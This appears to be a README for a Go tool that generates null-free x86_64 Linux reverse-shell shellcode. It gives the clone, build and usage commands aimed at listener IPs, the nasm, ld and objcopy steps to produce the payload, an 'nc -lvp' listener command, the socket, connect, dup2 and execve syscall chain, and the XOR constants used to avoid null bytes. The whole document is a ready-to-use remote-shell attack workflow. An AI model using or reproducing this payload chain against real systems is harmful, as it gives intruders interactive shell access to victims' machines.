A null-free x86_64 reverse shell shellcode generator for Linux. Automatically detects and eliminates null bytes using XOR.
- Null-free shellcode generation
- Automatic XOR encoding when needed
- ~76-82 bytes shellcode size
- Detailed assembly comments
git clone https://github.com/Xre0uS/linux-reverse-shell-in-assembly.git
cd linux-reverse-shell-in-assembly
go build -o revshell-gen# Basic usage
./revshell-gen -i 192.168.1.100:4444
# Custom output file
./revshell-gen -i 10.0.0.1:8888 -o myshell.asm
# Building
nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell
# Extract Shellcode
objcopy -O binary --only-section=.text shell shell.bin
xxd shell.bin# Terminal 1: Start listener
nc -lvp 4444
# Terminal 2: Generate and run
./revshell-gen -i <your-ip>:4444
nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell
./shell- socket(41) - Create TCP socket
- connect(42) - Connect to target IP:PORT
- dup2(33) - Redirect stdin/stdout/stderr to socket
- execve(59) - Execute /bin/sh
Null bytes are automatically avoided using XOR encoding (0xfefefefe for IP, 0xffffffff for port+family).